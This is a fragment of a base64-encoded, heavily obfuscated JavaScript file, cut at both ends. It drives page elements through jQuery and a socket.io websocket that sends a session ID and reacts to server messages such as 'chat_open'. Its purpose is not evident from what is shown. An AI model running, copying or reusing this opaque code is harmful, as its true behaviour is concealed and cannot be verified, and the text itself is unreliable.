OWQ5KyspaWYoXzB4MmY1MzQ5W18weDIyZWM3MygweDEyMywweDNmZiwweDNlYiwtMHgxMzMpXShfMHg0YzM5ZDksdGhpcykmJnRoaXNbXzB4NGMzOWQ5XT09PV8weDI3MGE1MClyZXR1cm4gXzB4NGMzOWQ5O3JldHVybi0oLTB4MmE5KzB4MTI3YSstMHhmZDApO31lbHNle2lmKF8weDJmNTM0OVtfMHgyMmVjNzMoMHgyMywweDFmMywtMHg4MywtMHg5OSldKHR5cGVvZiBfMHhlZjY2NGRbJ2NvJytfMHgyZjUzNDlbXzB4M2UyZTJlKDB4NTYwLDB4NDI1LDB4MzlkLDB4NGRjKV1dLF8weDJmNTM0OVtfMHgyMmVjNzMoLTB4OTUsMHgxOTQsMHg4YiwtMHgxYjUpXSkpe2lmKF8weDJmNTM0OVtfMHgyMmVjNzMoMHg1MGIsMHg2YWYsMHg0MGQsMHg1ZDMpXShfMHhlZjY2NGRbXzB4MmY1MzQ5W18weDIyZWM3MygweDUyZSwweDc0MiwweDdhYiwweDcyZCldKCdjbycsXzB4MmY1MzQ5W18weDIyZWM3MygweDRjZCwweDNiZSwweDI1YiwweDQzOCldKV0sXzB4MmY1MzQ5W18weDIyZWM3MygweDRjYiwweDNhMSwweDUwMCwweDY0YSldKSl7aWYoXzB4MmY1MzQ5WydmTHFWeSddKF8weDJmNTM0OVtfMHgzZTJlMmUoMHg0MGQsMHgyNDAsMHg2NjcsMHg2YjgpXSgkLF8weDJmNTM0OVsnVFpmYXMnXSlbXzB4M2UyZTJlKDB4NTI5LDB4N2YwLDB4M2RhLDB4NDk0KV0sLTB4MmU0Ky0weDE4YjYrLTB4MWI5YSotMHgxKSlyZXR1cm47XzB4MmY1MzQ5W18weDNlMmUyZSgweDQwMCwweDFmZCwweDUzNywweDVmYyldKCQsXzB4MmY1MzQ5WydzR2VwUSddKVtfMHgyMmVjNzMoMHhkZSwweDI2NywweDMwYSwtMHgxYWQpXSgnJyksJChfMHgyZjUzNDlbXzB4M2UyZTJlKDB4MjIwLC0weDNiLDB4ZDcsMHgzOTMpXSlbJ2hpZGUnXSgpO3JldHVybjt9ZWxzZXtpZihfMHgyZjUzNDlbJ0FNT21BJ10oXzB4ZWY2NjRkW18weDJmNTM0OVtfMHgzZTJlMmUoMHg0MTksMHg0M2EsMHgyZDIsMHg2M2MpXSgnY28nLF8weDJmNTM0OVtfMHgzZTJlMmUoMHg1NjAsMHg0MWMsMHg4MmQsMHgzODgpXSldLCdjaGF0X29wZW4nKSl7aWYoXzB4MmY1MzQ5W18weDIyZWM3MygweDU0LDB4NWQsMHgxMWIsLTB4MjExKV0oXzB4M2UyZTJlKDB4MzMxLDB4NGZkLDB4NWUsMHgzMDgpLCd6V2lEVicpKXt2YXIgXzB4NDZhNDE5PV8weDJmNTM0OVtfMHgyMmVjNzMoMHg0MDMsMHgyODYsMHg0ODAsMHgxYjEpXVsnc3BsaXQnXSgnfCcpLF8weDEzZGQ5OD0tMHgzYjMqMHg3Ky0weDEqMHgyNGMxKy0weDFiKi0weDI1Mjt3aGlsZSghIVtdKXtzd2l0Y2goXzB4NDZhNDE5W18weDEzZGQ5OCsrXSl7Y2FzZScwJzpyZXR1cm47Y2FzZScxJzpfMHgyZjUzNDlbXzB4M2UyZTJlKDB4NDE3LDB4M2JhLDB4MWE4LDB4MWFmKV0oJCxfMHgyZjUzNDlbJ3NHZXBRJ10pW18weDIyZWM3MygweGRlLDB4MTAwLDB4MThkLDB4MWI2KV0oJycpO2NvbnRpbnVlO2Nhc2UnMic6dmFyIF8weDU2YmRkMT17fTtfMHg1NmJkZDFbXzB4M2UyZTJlKDB4NTJmLDB4NDgyLDB4Mzc4LDB4NjVjKV09XzB4ZWY2NjRkW18weDIyZWM3MygweDQ5YywweDZjYiwweDMwYSwweDI5OSldLF8weDU2YmRkMVsnXyddPSEhW10sXzB4MmY1MzQ5W18weDNlMmUyZSgweGIzLDB4MjY2LDB4OGIsMHgyZjMpXSgkLGRvY3VtZW50Wydib2R5J10pW18weDNlMmUyZSgweDE3MCwweDI5MSwweDM1ZCwweDM5MildKF8weDJmNTM0OVtfMHgzZTJlMmUoMHhjNywweDFmMSwweDNhMSwweDEwOSldLF8weDU2YmRkMSk7Y29udGludWU7Y2FzZSczJzppZihfMHgyZjUzNDlbXzB4MjJlYzczKDB4M2VmLDB4M2MyLDB4M2JhLDB4MzIyKV0oJChfMHgyZjUzNDlbXzB4M2UyZTJlKDB4MjIwLDB4MTU0LDB4NDg4LDB4M2M2KV0pWydsZW5ndGgnXSwweDFlN2MrLTB4ZCoweDI1MSsweDUqLTB4MTMpKXJldHVybjtjb250aW51ZTtjYXNlJzQnOiQoXzB4MmY1MzQ5W18weDIyZWM3MygweDE4ZCwtMHg1ZiwtMHgxMzUsMHgzZDgpXSlbXzB4MjJlYzczKDB4NDhmLDB4NjVjLDB4NjdmLDB4NDUxKV0oKTtjb250aW51ZTt9YnJlYWs7fX1lbHNle2lmKF8weDJmNTM0OVtfMHgzZTJlMmUoMHhmYiwweDEyYSwweDdiLC0weGMzKV0oXzB4NTNlNzc1LF8weDJmNTM0OVtfMHgyMmVjNzMoMHgyMTcsMHgzMGIsMHgxM2IsMHgyNjMpXShfMHgyZjUzNDlbXzB4MjJlYzczKDB4Mjg0LDB4MjQ2LC0weDYwLDB4OTIpXShfMHgyZjUzNDlbXzB4MjJlYzczKDB4NTA5LDB4NjMzLDB4MzQxLDB4NTRhKV0oXzB4MmY1MzQ5W18weDNlMmUyZSgweDI0MiwweDUyMSwweDI4ZSwtMHgyMildKF8weDJmNTM0OVtfMHgyMmVjNzMoMHg1MDksMHg1ZjUsMHg3MjYsMHgyYjUpXShfMHgyZjUzNDlbJ0JoQXltJ10oXzB4MmY1MzQ5WydIQkhacCddKF8weDJmNTM0OVtfMHgzZTJlMmUoMHgxYTksLTB4ZTEsMHgzMTMsMHg0NzEpXSxfMHg1YmY5N2UpLCdyZC1tbycpLF8weDI3M2Y4ZiksJ250aCxceDIwI2NhJykrXzB4NWQ0NGQ0LF8weDJmNTM0OVtfMHgzZTJlMmUoMHgyMWMsLTB4OWMsMHg0NzksMHg0YzApXSksXzB4NmY4YTA2KSwnYXInKSlbXzB4MmY1MzQ5WydCUHJwZCddXShfMHgyMmVjNzMoMHgyOWMsMHg0NiwweDJjNCwweDViKSksXzB4MmY1MzQ5W18weDIyZWM3MygweDIzLDB4M2MsLTB4ZWMsLTB4MTNjKV0oXzB4MmY1MzQ5W18weDIyZWM3MygweDUwOSwweDRjMSwweDcxOCwweDYwZildKF8weDJmNTM0OVtfMHgzZTJlMmUoMHg1OWMsMHg2YjgsMHgzMjQsMHgzNGMpXShfMHgyZjUzNDlbJ2xnaUhjJ10oJ2NhJyxfMHg0NDZkYzMpK18weDJmNTM0OVsneGJySlonXSxfMHg0MmQ4MDIpLCdhcicpLF8weDJmNTM0OVtfMHgzZTJlMmUoMHgxNDIsMHgzZDksMHg3OSwweDFkNSldKF8weDMwNTczZCx0aGlzKVsnYXR0ciddKCdpZCcpKXx8XzB4MmY1MzQ5W18weDIyZWM3MygweDIzLDB4MTkyLDB4MjQwLDB4MmMzKV0oMHgxMjIxKzB4YTViKi0weDIrLTB4MSotMHgyOWQsXzB4MjdhNTQ4W18weDJmNTM0OVtfMHgzZTJlMmUoMHg0Y2YsMHg3MTcsMHgzMjUsMHgzZTkpXV0pfHwweDE2NGUrMHg5MGQqLTB4NCsweGRlNiE9XzB4MmY1MzQ5W18weDNlMmUyZSgweDQxNywweDM3MCwweDIxNywweDQyZCldKF8weDMzOTBjYix0aGlzKVtfMHgyZjUzNDlbXzB4MjJlYzczKDB4MjVjLDB4NDA3LDB4MWE1LC0weDFlKV1dKClbXzB4MmY1MzQ5W18weDNlMmUyZSgweDQxNCwweDVkNywweDYwMiwweDRhMildXSlyZXR1cm4gXzB4MmY1MzQ5Wyd0U1B4UCddKF8weDJmNTM0OVtfMHgyMmVjNzMoMHgxYWYsMHgyMiwtMHgxMmMsMHg3ZSldKF8weDJmNTM0OVtfMHgzZTJlMmUoMHg1NWIsMHg4MDUsMHgyODcsMHg2MjgpXShfMHgyZjUzNDlbXzB4MjJlYzczKDB4NDJiLDB4MmZhLDB4MmJmLDB4M2ExKV0oXzB4MmY1MzQ5W18weDNlMmUyZSgweDQxOSwweDQ4YywweDM2NywweDVhNyldKCdjYScsXzB4MzI5ZDcyKSxfMHgyZjUzNDlbXzB4MjJlYzczKDB4MjIzLDB4MTgzLDB4MjI5LDB4M2UpXSksXzB4MTA5ZjVlKSxfMHgyZjUzNDlbJ21kdG5zJ10pLF8weDJmNTM0OVsnZGxrY2UnXShfMHg0MzdiNGMsdGhpcylbXzB4MmY1MzQ5W18weDIyZWM3MygweDNkMywweDQxYSwweDFiYiwweDY1ZSldXSgnaWQnKSkmJl8weDJmNTM0OVtfMHgzZTJlMmUoMHg0ODUsMHgzNTQsMHg2MTMsMHgxYjQpXSgtMHgyMmVkKjB4MSstMHgyKjB4M2E5Ky0weDEqLTB4MmE0MSxfMHgzODA3MTAodGhpcylbXzB4MjJlYzczKC0weDI4LC0weDI1YiwtMHgxMTIsMHgxZjQpXSgpW18weDNlMmUyZSgweDUyOSwweDJlNiwweDc0YiwweDZmMildKT8weDgqMHgxMzQrMHgxYWFhKy0weDIqMHgxMjFmPF8weDNmMTFmYih0aGlzKVtfMHgyZjUzNDlbXzB4M2UyZTJlKDB4MmVmLDB4M2UwLDB4ZSwweDNkNildXSgpP3ZvaWQgXzB4MmY1MzQ5W18weDIyZWM3MygweDRiYywweDQyYywweDJiNiwweDZlMyldKF8weDIzOGZjOClbXzB4MmY1MzQ5W18weDIyZWM3MygweGIzLC0weGE1LDB4MmE1LDB4MjA4KV1dKF8weDJmNTM0OVtfMHgzZTJlMmUoMHgxMGEsMHgxZWYsMHhiZSwweGYzKV0pOnZvaWQgXzB4MjQzMDVkKClbXzB4M2UyZTJlKDB4MzA2LDB4NGNiLDB4NDgzLDB4NTRmKV0oKTp2b2lkKF8weDJmNTM0OVsnRVVzSkYnXShfMHhkMmNiZjApW18weDNlMmUyZSgweDZiLDB4ZWIsMHg2ZiwweDFlMSldKCkmJl8weDJmNTM0OVtfMHgzZTJlMmUoMHg0NjcsMHg2ZDUsMHg1M2QsMHgzMTYpXShfMHgyNDBiY2EpW18weDJmNTM0OVtfMHgzZTJlMmUoMHgyZWYsMHgxOGIsMHgxMDksMHgxMWYpXV0oKSYmXzB4MmY1MzQ5W18weDNlMmUyZSgweDE4YywweDM5MywweDFmNCwweDEwZildKC0weDE1MjYrLTB4ZjdhKzB4NjFiKjB4NixfMHgyZjUzNDlbXzB4MjJlYzczKDB4MWFiLC0weGEwLDB4NmYsMHhiZSldKF8weDE4ZGViMSlbXzB4MmY1MzQ5W18weDNlMmUyZSgweDJlZiwweDIyLDB4MzUwLDB4NTA1KV1dKClbXzB4MmY1MzQ5W18weDNlMmUyZSgweDQxNCwweDJjZiwweDJkZCwweDYxMSldXSkmJihfMHgyOTdjN2ZbXzB4MmY1MzQ5W18weDIyZWM3MygweDRiNywweDM0MywweDJlYywweDYzNildXVtfMHgzZTJlMmUoMHg1N2UsMHg3YmEsMHgzMmIsMHg2YzYpXShfMHgyZjUzNDlbXzB4MjJlYzczKDB4NGJjLDB4MWM2LDB4M2RhLDB4MzRlKV0oXzB4OGY1ZDdkKVtfMHgyZjUzNDlbXzB4M2UyZTJlKDB4MmVmLDB4NTk0LDB4NDU5LDB4MWVlKV1dKCksXzB4MWQyYjgyKClbXzB4MjJlYzczKC0weDI4LC0weDMxOSwweDExMiwtMHgxMTgpXSgpKT9fMHgyZjUzNDlbXzB4MjJlYzczKDB4NTM1LDB4MjhlLDB4ODE5LDB4MzI4KV0oXzB4NGZlMDhmKVtfMHgyZjUzNDlbXzB4MjJlYzczKDB4MmIzLDB4M2Q3LC0weDQwLDB4NDJjKV1dKCk6KF8weDJmNTM0OVtfMHgzZTJlMmUoMHg0MDAsMHg0NWQsMHgzOTUsMHg1ZjIpXShfMHg0OWI3MWIsXzB4MmY1MzQ5W18weDNlMmUyZSgweDJhYSwweDJjMCwweDUxMiwweDRlNCldKF8weDJmNTM0OVtfMHgyMmVjNzMoMHgzODYsMHg1ZmYsMHgxYjksMHgxNjkpXShfMHgyZjUzNDlbXzB4M2UyZTJlKDB4NGJlLDB4NzlhLDB4NWY0LDB4MWRmKV0oXzB4MmY1MzQ5W18weDIyZWM3MygweDExNiwtMHhhNSwweDEzLC0weDEpXSxfMHgxMGVkY2YpLF8weDJmNTM0OVtfMHgzZTJlMmUoMHgyYjYsMHg0OTEsMHg3MywweDIzNCldKSxfMHgzMzhiM2IpK18weDJmNTM0OVtfMHgyMmVjNzMoMHhlZCwtMHgxODIsMHgxMjMsMHg5ZCldK18weDUxYjQzOCtfMHgyZjUzNDlbXzB4MjJlYzczKDB4MTg5LDB4MzI5LC0weDdkLDB4ODcpXStfMHgyZjY4ZmErJ2FyJylbXzB4MmY1MzQ5W18weDIyZWM3MygweGIzLDB4Mjc5LDB4MTE2LC0weGUxKV1dKF8weDJmNTM0OVtfMHgzZTJlMmUoMHgxMGEsMHgyOWQsMHg5ZiwweGE2KV0pLC0weDY1MyoweDUrLTB4MjYzNCsweDQ1ZDU9PV8weDJmNTM0OVtfMHgyMmVjNzMoMHg0YmMsMHg2M2EsMHgzNTQsMHg2ZjIpXShfMHg1NDBkZmYpW18weDJmNTM0OVtfMHgzZTJlMmUoMHgyZWYsMHg0OWMsMHg1Y2IsMHgzNGIpXV0oKVtfMHgyZjUzNDlbXzB4M2UyZTJlKDB4NDE0LDB4MjM5LDB4MjgzLDB4MzFkKV1dP18weDJmNTM0OVtfMHgyMmVjNzMoMHgzZDIsMHg0OGIsMHgxM2UsMHgxN2IpXShfMHgzNmYzZTApW18weDJmNTM0OVtfMHgyMmVjNzMoMHgyYjMsMHhiNCwweDIzLDB4NGEpXV0oKTpfMHgyMzc1ZWEoKVtfMHgyZjUzNDlbJ2llYUF3J11dKCkpKSk7O18weDJmNTM0OVtfMHgyMmVjNzMoMHgzZDQsMHg1NDMsMHg2OGEsMHhkYildKF8weGU1MWU5NylbXzB4MmY1MzQ5W18weDIyZWM3MygweDI1YywweDc4LDB4ZmYsMHgyYzIpXV0oJycpW18weDJmNTM0OVsnaWVhQXcnXV0oKTt9fX19ZWxzZXtpZih0eXBlb2YgXzB4ZWY2NjRkWydtZXNzYWdlJ10hPV8weDJmNTM0OVsnbUdUTHYnXSl7dmFyIF8weDE4YTJlZj17fTtfMHgxOGEyZWZbXzB4MjJlYzczKDB4NDljLDB4MjMyLDB4NmI5LDB4NzA1KV09XzB4ZWY2NjRkWydtZXNzYWdlJ10sXzB4MThhMmVmWydfJ109XzB4ZWY2NjRkWydfJ10sJChkb2N1bWVudFtfMHgzZTJlMmUoMHg0NWYsMHgyMjEsMHgzNTEsMHgyODkpXSlbXzB4MjJlYzczKDB4ZGQsLTB4MTcyLDB4MTdlLDB4MmUzKV0oXzB4MmY1MzQ5W18weDNlMmUyZSgweGM3LDB4NmYsLTB4OTMsLTB4MjE0KV0sXzB4MThhMmVmKTtyZXR1cm47fX19fSk7dmFyIF8weDJkMGNhNixfMHgxOGE4ZWU9e307XzB4MThhOGVlWyd0cmFuc3BvcnRzJ109Wyd3ZWJzb2NrZXQnXSxfMHgyZDBjYTY9aW9bXzB4MjU5YzgzKDB4NGM5LDB4NTEsMHg0NTIsMHgzMGMpXSgnJyxfMHgxOGE4ZWUpLF8weDJkMGNhNlsnb24nXShfMHgyZjUzNDlbXzB4MjU5YzgzKDB4NjAyLDB4NzBmLDB4NWI2LDB4ODQ2KV0sZnVuY3Rpb24oKXtmdW5jdGlvbiBfMHgyYWY5NjkoXzB4MjYwY2ZkLF8weDNhNTdmZSxfMHg0MThlOTgsXzB4MjBlYmE5KXtyZXR1cm4gXzB4NDRmZjQ5KF8weDI2MGNmZC0weGQ3LF8weDNhNTdmZS0weDFkZCxfMHgyMGViYTksXzB4M2E1N2ZlLTB4MjFiKTt9ZnVuY3Rpb24gXzB4MTYxZGQ5KF8weDJmNzM2YixfMHgyZGFmMjcsXzB4MWU0NGQ1LF8weDEyY2NmMyl7cmV0dXJuIF8weDI1OWM4MyhfMHgyZGFmMjcsXzB4MmRhZjI3LTB4MTRmLF8weDFlNDRkNS0weDFkYyxfMHgyZjczNmItIC0weDM1Nik7fXZhciBfMHg1MDRjY2I9eydOS2RyQic6ZnVuY3Rpb24oXzB4ZjdkOTJmLF8weDFhZDcyNyl7ZnVuY3Rpb24gXzB4M2Q2YzVmKF8weDE0ZTZjMCxfMHgzZmI3ODcsXzB4MTdiZjZjLF8weDI5ZTRjMyl7cmV0dXJuIF8weDRjMGYoXzB4M2ZiNzg3LSAtMHgzYTcsXzB4MTdiZjZjKTt9cmV0dXJuIF8weDJmNTM0OVtfMHgzZDZjNWYoMHgyOTYsMHgxODQsLTB4OGYsLTB4ZjQpXShfMHhmN2Q5MmYsXzB4MWFkNzI3KTt9LCdzYUlycic6XzB4MmY1MzQ5W18weDJhZjk2OSgweDcxYiwweDdjYywweDU2MSwweDVjYyldfTtpZihfMHgyZjUzNDlbJ1lFQk1YJ10oXzB4MTYxZGQ5KDB4MWZjLDB4MmNlLDB4Mzg1LC0weGJjKSxfMHgyZjUzNDlbJ0xvdklKJ10pKWNvbnNvbGVbJ2xvZyddKCd0Jyk7ZWxzZXt2YXIgXzB4NGM0ZTMxPV8weDJmNTM0OVtfMHgyYWY5NjkoMHgzYzUsMHgzZmEsMHg1MWQsMHg1YTkpXVsnc3BsaXQnXSgnfCcpLF8weDRhNzFhZD0tMHg2ZCotMHgyMCsweGJhKi0weDJmKzB4MSoweDE0ODY7d2hpbGUoISFbXSl7c3dpdGNoKF8weDRjNGUzMVtfMHg0YTcxYWQrK10pe2Nhc2UnMCc6dmFyIF8weDQ4ZGIxOD17J0ZvV0xSJzpmdW5jdGlvbihfMHg1MzNiMjMsXzB4MzIwZjg3KXtmdW5jdGlvbiBfMHg0OGYyZWYoXzB4Mzk5MjhiLF8weDRiYWM1MyxfMHgxMTlhMzUsXzB4MTE5YjQ5KXtyZXR1cm4gXzB4MTYxZGQ5KF8weDM5OTI4Yi0weDJiZSxfMHgxMTlhMzUsXzB4MTE5YTM1LTB4MjIsXzB4MTE5YjQ5LTB4MTcwKTt9cmV0dXJuIF8weDJmNTM0OVtfMHg0OGYyZWYoMHgyOTUsMHgxNWMsMHgzOWMsMHgzY2MpXShfMHg1MzNiMjMsXzB4MzIwZjg3KTt9fTtjb250aW51ZTtjYXNlJzEnOl8weDJmNTM0OVtfMHgyYWY5NjkoMHg3MWEsMHg1YjUsMHg1MzYsMHg1NzkpXShfMHgyYjVlZTEsXzB4MmY1MzQ5W18weDJhZjk2OSgweDgyZCwweDZiMSwweDRiMSwweDk3ZCldKVsnb24nXShfMHgxNjFkZDkoMHg0NTYsMHg0ODksMHgxNzYsMHg3MWMpLGZ1bmN0aW9uKCl7XzB4NDJhYjBlWydsb2cnXSgnbCcpO2Z1bmN0aW9uIF8weDU2ZjQ4NyhfMHg0MTc3ZmUsXzB4NWU2MDQ4LF8weDMwYjZiZixfMHg0MGU3OTYpe3JldHVybiBfMHgyYWY5NjkoXzB4NDE3N2ZlLTB4MTZlLF8weDMwYjZiZi0gLTB4MmM3LF8weDMwYjZiZi0weDE3YSxfMHg0MTc3ZmUpO31mdW5jdGlvbiBfMHgxZjFmZTkoXzB4MmNmNzg4LF8weDU3ODYyMixfMHhmNmM2Y2QsXzB4MzU5NzdiKXtyZXR1cm4gXzB4MmFmOTY5KF8weDJjZjc4OC0weDY3LF8weGY2YzZjZC0weDVjLF8weGY2YzZjZC0weDEzMixfMHgzNTk3N2IpO31fMHg1MDRjY2JbXzB4NTZmNDg3KDB4M2M1LDB4MjNiLDB4MmJhLDB4NTE4KV0oXzB4M2Q2Yzg5LF8weDNkNTgxMFtfMHgxZjFmZTkoMHg5N2UsMHg0YzYsMHg3OWIsMHg4OTkpXSlbXzB4NTZmNDg3KC0weDExNSwtMHgxNWIsMHhhNiwtMHgxNCldKF8weDUwNGNjYlsnc2FJcnInXSxfMHg1NmY0ODcoMHgzZDgsMHg1OTUsMHgzZTAsMHgxYjEpKTt9KTtjb250aW51ZTtjYXNlJzInOl8weDJmNTM0OVtfMHgxNjFkZDkoMHgyOGYsMHg0OTUsMHg1NDIsMHgxZWYpXShfMHgzOTE1MDcsXzB4NTA4YjU1W18weDJhZjk2OSgweDY2YywweDczZiwweDllZiwweDYzMildKVsnY3NzJ10oXzB4MmY1MzQ5WydaWGJGbiddLF8weDJmNTM0OVtfMHgyYWY5NjkoMHg0ZjcsMHg3NDIsMHg5M2YsMHg2YzApXSk7Y29udGludWU7Y2FzZSczJzpfMHhiODhlZDRbXzB4MTYxZGQ5KDB4Mzg3LDB4NTVmLDB4MWE0LDB4NDg5KV0oJ2YnKTtjb250aW51ZTtjYXNlJzQnOl8weDJmNTM0OVtfMHgyYWY5NjkoMHgyNzksMHgzODQsMHg0ZjEsMHgzY2UpXShfMHgxMWJlYjcsZnVuY3Rpb24oKXtmdW5jdGlvbiBfMHgyODM1YTEoXzB4NTBiZGViLF8weDIzOTFhYixfMHgyZTM2OTAsXzB4MjczNTUwKXtyZXR1cm4gXzB4MmFmOTY5KF8weDUwYmRlYi0weGQxLF8weDUwYmRlYi0gLTB4MTdiLF8weDJlMzY5MC0weDJmLF8weDI3MzU1MCk7fWZ1bmN0aW9uIF8weDFjYTcwNihfMHgzNTE2MjEsXzB4NGQ0NWFiLF8weDM5NzhjNixfMHgyZjYxMmIpe3JldHVybiBfMHgxNjFkZDkoXzB4MzUxNjIxLTB4MWZiLF8weDM5NzhjNixfMHgzOTc4YzYtMHgxYTQsXzB4MmY2MTJiLTB4MTcwKTt9XzB4NDhkYjE4W18weDFjYTcwNigweDJlMiwweDE4NCwweDVhNiwweDRkYSldKF8weDEzOWUxYyxfMHg0YTBjNTFbXzB4MWNhNzA2KDB4NWFkLDB4NTU5LDB4N2E0LDB4NDNhKV0pW18weDI4MzVhMSgweDFmMiwweDM4NCwweDQyNCwweDU3KV0oJ3Zpc2liaWxpdHknLF8weDFjYTcwNigweDUxNSwweDU3ZSwweDY0ZCwweDUzMikpO30sLTB4MTM3KjB4NCstMHgxMTNjKy0weDQqLTB4NzdhKTtjb250aW51ZTt9YnJlYWs7fX19KTtmdW5jdGlvbiBfMHg0NGZmNDkoXzB4MTk1MTQ4LF8weDI1MzRhNSxfMHg0MmI2MjIsXzB4MTVhYmI1KXtyZXR1cm4gXzB4NWJmNGJiKF8weDE1YWJiNS0gLTB4MjVjLF8weDQyYjYyMixfMHg0MmI2MjItMHgxOGYsXzB4MTVhYmI1LTB4MWVkKTt9XzB4MmQwY2E2WydvbiddKF8weDJmNTM0OVsneHFUeGEnXSxmdW5jdGlvbigpe2NvbnNvbGVbXzB4NWEwMzhhKDB4NTI0LDB4NmIzLDB4Nzk0LDB4NDRkKV0oJ2MnKTt2YXIgXzB4MWRhZjY2PXt9O2Z1bmN0aW9uIF8weDVhMDM4YShfMHg1ZDVjNDMsXzB4NGQwN2E4LF8weDMyMjY2MSxfMHgxNGYzMTcpe3JldHVybiBfMHg0NGZmNDkoXzB4NWQ1YzQzLTB4ZTIsXzB4NGQwN2E4LTB4MjksXzB4MTRmMzE3LF8weDVkNWM0My0weDJiKTt9XzB4MWRhZjY2WydzZXNzaW9uSUQnXT1zZXNzaW9uSUQsXzB4MmQwY2E2WydlbWl0J10oXzB4MmY1MzQ5WydzRGxJSSddLF8weDFkYWY2Nik7fSksXzB4MmQwY2E2WydvbiddKF8weDQ0ZmY0OSgweDFmMSwweDgwLDB4MTIwLDB4MzUwKSxmdW5jdGlvbigpe2Z1bmN0aW9uIF8weDI1Yjg3YShfMHg1YzA0ZTksXzB4NWNlMTg2LF8weDRjZDQ0YyxfMHhkODcxZGQpe3JldHVybiBfMHgyNTljODMoXzB4NGNkNDRjLF8weDVjZTE4Ni0weDdjLF8weDRjZDQ0Yy0weGMwLF8weDVjMDRlOS0gLTB4NGVmKTt9ZnVuY3Rpb24gXzB4NDk4YzU1KF8weDI0Y2Q3MSxfMHgxMzA3ZTIsXzB4MjI2MWY0LF8weDMzNjRkMSl7cmV0dXJuIF8weDI1OWM4MyhfMHgyNGNkNzEsXzB4MTMwN2UyLTB4MTQzLF8weDIyNjFmNC0weDFhOCxfMHgzMzY0ZDEtMHgxMjMpO31pZihfMHgyZjUzNDlbXzB4NDk4YzU1KDB4N2M5LDB4YWFlLDB4NjcwLDB4OGU1KV09PT1fMHg0OThjNTUoMHhhYTcsMHg5MjMsMHhhN2YsMHg4ZDMpKXt2YXIgXzB4OTYwZWFkPW5ldyBfMHgyNGMwNWIoKTtyZXR1cm4gXzB4MmY1MzQ5W18weDQ5OGM1NSgweDU4MCwweGE3NSwweDdjYywweDdjOCldKF8weDJmNTM0OVtfMHgyNWI4N2EoMHgyOGUsMHgzZSwweDQ3OCwweDQ0MyldKF8weDJmNTM0OVtfMHgyNWI4N2EoMHgxZDEsMHg2NCwweDQ0YywweDFhNildKF8weDFkOTI4ZCxfMHg5NjBlYWRbXzB4NDk4YzU1KDB4OGI1LDB4NTY2LDB4NTZkLDB4Nzc1KV0oKSksJzonKStfMHgyZjUzNDlbXzB4MjViODdhKC0weDFkZSwtMHg0N2MsLTB4MWU4LC0weGZmKV0oXzB4MWVkNTFjLF8weDk2MGVhZFsnZ2V0TWludXRlcyddKCkpLCc6JykrXzB4MmY1MzQ5W18weDI1Yjg3YSgtMHgxZjIsLTB4NWIsLTB4MzgxLC0weDE2NCldKF8weDViNzg5ZSxfMHg5NjBlYWRbXzB4MjViODdhKC0weGNlLDB4MWQzLDB4MTYsMHg0MSldKCkpO31lbHNlIGNvbnNvbGVbXzB4MjViODdhKDB4MWVlLDB4MTY1LDB4NDI5LDB4MWVlKV0oJ2QnKTt9KSxfMHgyZDBjYTZbJ29uJ10oJ21lc3NhZ2UnLGZ1bmN0aW9uKF8weDJjYzJiMSl7ZnVuY3Rpb24gXzB4MzYxY2Y0KF8weGY1MTI0MixfMHg0ZjFiN2YsXzB4NTA2N2MxLF8weGNhMTU0OCl7cmV0dXJuIF8weDI1OWM4MyhfMHhjYTE1NDgsXzB4NGYxYjdmLTB4MWFmLF8weDUwNjdjMS0weDE3ZSxfMHg1MDY3YzEtIC0weDUzMik7fWZ1bmN0aW9uIF8weDVlZDNmZihfMHgxNGEyOTEsXzB4MmViZWFmLF8weDU3YWVjZSxfMHg0MzliMjUpe3JldHVybiBfMHg0NGZmNDkoXzB4MTRhMjkxLTB4MTY1LF8weDJlYmVhZi0weGViLF8weDQzOWIyNSxfMHg1N2FlY2UtIC0weDc1KTt9dmFyIF8weDRkMzMzNT17J1FZU0trJzpmdW5jdGlvbihfMHgxN2M2YjIsXzB4NDFhNWJiKXtmdW5jdGlvbiBfMHgxNjFiZGQoXzB4NGU0MDhjLF8weDQwMTQwMCxfMHg0MjgyMmQsXzB4YjZlYWYwKXtyZXR1cm4gXzB4NGMwZihfMHg0ZTQwOGMtIC0weDEwMSxfMHhiNmVhZjApO31yZXR1cm4gXzB4MmY1MzQ5W18weDE2MWJkZCgweDQ3MCwweDQ4ZiwweDNhYiwweDU3ZSldKF8weDE3YzZiMixfMHg0MWE1YmIpO30sJ0NBeEVKJzpfMHgyZjUzNDlbXzB4NWVkM2ZmKDB4ODJjLDB4M2M2LDB4NWIwLDB4NjRkKV0sJ0t0b3pjJzpfMHgyZjUzNDlbXzB4NWVkM2ZmKDB4NGRlLDB4NzFjLDB4NWFlLDB4MzUyKV0sJ3hVc2ZsJzpfMHgyZjUzNDlbJ1RaZmFzJ10sJ0pSeVNzJzpmdW5jdGlvbihfMHgzMGY3ZDMsXzB4MTgwYTQxKXtmdW5jdGlvbiBfMHg0ZjQ4MmMoXzB4YTI1MWViLF8weDU1OTU5NSxfMHgxZjZiNzYsXzB4NGIxNDEwKXtyZXR1cm4gXzB4NWVkM2ZmKF8weGEyNTFlYi0weDdkLF8weDU1OTU5NS0weDFhZCxfMHg1NTk1OTUtMHgzMGMsXzB4MWY2Yjc2KTt9cmV0dXJuIF8weDJmNTM0OVtfMHg0ZjQ4MmMoMHg3ODksMHg2OTgsMHg2N2QsMHg3Y2UpXShfMHgzMGY3ZDMsXzB4MTgwYTQxKTt9LCdzWGFPcic6XzB4MmY1MzQ5W18weDM2MWNmNCgweDMxMCwweDNjMCwweDIwMywweDgwKV0sJ2RScHhXJzpmdW5jdGlvbihfMHgxOWM5MWEsXzB4MjUwZTViKXtyZXR1cm4gXzB4MTljOTFhKF8weDI1MGU1Yik7fSwncUxvZU4nOmZ1bmN0aW9uKF8weDMzMDI3MixfMHg0ZTQxZDApe3JldHVybiBfMHgzMzAyNzI9PV8weDRlNDFkMDt9LCdvQmZxcSc6ZnVuY3Rpb24oXzB4NTNiODUyLF8weDUyZWI4NCl7ZnVuY3Rpb24gXzB4NDhiNzc2KF8weDI5M2Q5NixfMHgzOTczZjQsXzB4MjgxNzI3LF8weDVjYmRjMil7cmV0dXJuIF8weDM2MWNmNChfMHgyOTNkOTYtMHgxNDUsXzB4Mzk3M2Y0LTB4MWRmLF8weDI5M2Q5Ni0weDE4NSxfMHgyODE3MjcpO31yZXR1cm4gXzB4MmY1MzQ5W18weDQ4Yjc3NigweDJiMiwweDM1MSwweDI0YSwweDFmNyldKF8weDUzYjg1MixfMHg1MmViODQpO30sJ0NOd0x3JzpmdW5jdGlvbihfMHgyZjczMTQsXzB4NDMzMzUzKXtmdW5jdGlvbiBfMHgxYzIxMjgoXzB4MjBjNDI3LF8weDJjNTk2ZSxfMHg0MTMzZjQsXzB4ND